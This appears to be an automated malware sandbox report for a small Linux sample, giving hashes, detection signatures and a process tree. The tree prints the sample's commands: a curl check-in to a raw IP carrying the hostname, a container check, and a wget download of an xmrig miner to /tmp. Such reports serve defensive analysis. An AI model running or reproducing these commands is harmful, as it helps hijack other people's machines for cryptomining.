cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
10/09/2026, 18:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
Size 1KB
Sample260910-wnchfswvds
SHA256 cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de
MD5 a25d9b660caf6ec6facd05f48488454b
SHA1 222c8843e1074bb26ec25e72a07af268e9bba4dd
SHA512 75cf560d438361863e3ede20a98b4785effd5a172a67ada9420aeb743c7357e9e7a741b247965844075f4fdfcc5e08504cfd2059ea8bd6f825145dfa57f76647
TLSH
T15F41BD99E574DB303A56982C9EDB5124C60B4167196F3A40FC0D78283F9C52AB1B8B39
MD5 SHA1 SHA512 TLSH

Score

6^/10

discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 17 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1064/status	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/441/stat	ps
File opened for reading	/proc/34/cmdline	ps
File opened for reading	/proc/487/cmdline	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/202/status	ps
File opened for reading	/proc/1054/stat	ps
File opened for reading	/proc/1470/status	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/201/stat	ps
File opened for reading	/proc/168/cmdline	pgrep
File opened for reading	/proc/521/status	pgrep
File opened for reading	/proc/1064/stat	ps
File opened for reading	/proc/1346/stat	ps
File opened for reading	/proc/163/status	ps
File opened for reading	/proc/482/cmdline	ps
File opened for reading	/proc/901/cmdline	ps
File opened for reading	/proc/171/stat	ps
File opened for reading	/proc/1210/cmdline	pgrep
File opened for reading	/proc/34/cmdline	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/892/cmdline	ps
File opened for reading	/proc/1098/stat	ps
File opened for reading	/proc/1013/stat	ps
File opened for reading	/proc/1034/stat	ps
File opened for reading	/proc/1492/status	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/325/stat	ps
File opened for reading	/proc/1064/stat	ps
File opened for reading	/proc/967/cmdline	ps
File opened for reading	/proc/1315/status	ps
File opened for reading	/proc/942/stat	ps
File opened for reading	/proc/166/cmdline	ps
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/1038/cmdline	ps
File opened for reading	/proc/158/cmdline	ps
File opened for reading	/proc/1168/cmdline	ps
File opened for reading	/proc/1255/stat	ps
File opened for reading	/proc/1297/cmdline	ps
File opened for reading	/proc/324/cmdline	pgrep
File opened for reading	/proc/482/status	pgrep
File opened for reading	/proc/160/stat	ps
File opened for reading	/proc/1073/stat	ps
File opened for reading	/proc/522/cmdline	ps
File opened for reading	/proc/1098/stat	ps
File opened for reading	/proc/1257/stat	ps
File opened for reading	/proc/1030/stat	ps
File opened for reading	/proc/163/status	ps
File opened for reading	/proc/961/stat	ps
File opened for reading	/proc/34/stat	ps
File opened for reading	/proc/1078/status	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/1043/stat	ps
File opened for reading	/proc/965/cmdline	ps
File opened for reading	/proc/1054/status	ps
File opened for reading	/proc/1475/stat	ps
File opened for reading	/proc/961/stat	ps
File opened for reading	/proc/1064/status	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/1090/cmdline	ps
File opened for reading	/proc/435/cmdline	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig.tar.gz	wget

/tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
/tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
1⤵
PID:1478
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1484
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1483
- /bin/grep
  grep -v grep
  2⤵
  PID:1482
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1481
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1480
- /bin/mkdir
  mkdir -p /tmp/docker-daemon
  2⤵
  PID:1485
- /bin/chmod
  chmod 000 /tmp/docker-daemon
  2⤵
  PID:1486
- /bin/sleep
  sleep 2
  2⤵
  PID:1487
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1500
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1499
- /bin/grep
  grep -v grep
  2⤵
  PID:1498
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1497
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1496
- /bin/sleep
  sleep 2
  2⤵
  PID:1501
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1507
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1506
- /bin/grep
  grep -v grep
  2⤵
  PID:1505
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1504
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1503
- /bin/sleep
  sleep 2
  2⤵
  PID:1508
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1514
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1513
- /bin/grep
  grep -v grep
  2⤵
  PID:1512
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1511
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1510
- /bin/sleep
  sleep 2
  2⤵
  PID:1515
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1521
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1520
- /bin/grep
  grep -v grep
  2⤵
  PID:1519
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1518
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1517
- /bin/sleep
  sleep 2
  2⤵
  PID:1522
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1528
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1527
- /bin/grep
  grep -v grep
  2⤵
  PID:1526
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1525
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1524
- /bin/sleep
  sleep 2
  2⤵
  PID:1529
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1535
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1534
- /bin/grep
  grep -v grep
  2⤵
  PID:1533
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1532
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1531
- /bin/sleep
  sleep 2
  2⤵
  PID:1536
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1542
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1541
- /bin/grep
  grep -v grep
  2⤵
  PID:1540
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1539
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1538
- /bin/sleep
  sleep 2
  2⤵
  PID:1543
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1549
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1548
- /bin/grep
  grep -v grep
  2⤵
  PID:1547
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1546
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /bin/sleep
  sleep 2
  2⤵
  PID:1550
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1556
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1555
- /bin/grep
  grep -v grep
  2⤵
  PID:1554
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1553
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1552
- /bin/sleep
  sleep 2
  2⤵
  PID:1557
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1564
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1563
- /bin/grep
  grep -v grep
  2⤵
  PID:1562
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1561
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1560
- /bin/sleep
  sleep 2
  2⤵
  PID:1565
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1571
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1570
- /bin/grep
  grep -v grep
  2⤵
  PID:1569
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1568
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1567
- /bin/sleep
  sleep 2
  2⤵
  PID:1572
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1578
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1577
- /bin/grep
  grep -v grep
  2⤵
  PID:1576
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1575
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1574
- /bin/sleep
  sleep 2
  2⤵
  PID:1579
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1585
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1584
- /bin/grep
  grep -v grep
  2⤵
  PID:1583
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1582
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1581
- /bin/sleep
  sleep 2
  2⤵
  PID:1586
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1592
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:1591
- /bin/grep
  grep -v grep
  2⤵
  PID:1590
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:1589
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1588
- /bin/grep
  grep -qE "(docker|overlay)" /proc/1/cgroup
  2⤵
  PID:1593
- /usr/bin/tr
  tr -cd a-zA-Z0-9_-
  2⤵
  PID:1596
- /bin/hostname
  hostname
  2⤵
  PID:1595
- /usr/bin/curl
  curl -s -m 3 "http://31.57.46.28:8999/?secret=true_check&id=ubuntu1804-amd64-20260513-en-3"
  2⤵
  PID:1597
- /bin/date
  date "+%s"
  2⤵
  PID:1600
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1601
- /usr/bin/pgrep
  pgrep -x hash
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget -O xmrig.tar.gz http://217.60.248.186/xmrig-6.21.0-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:1603

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads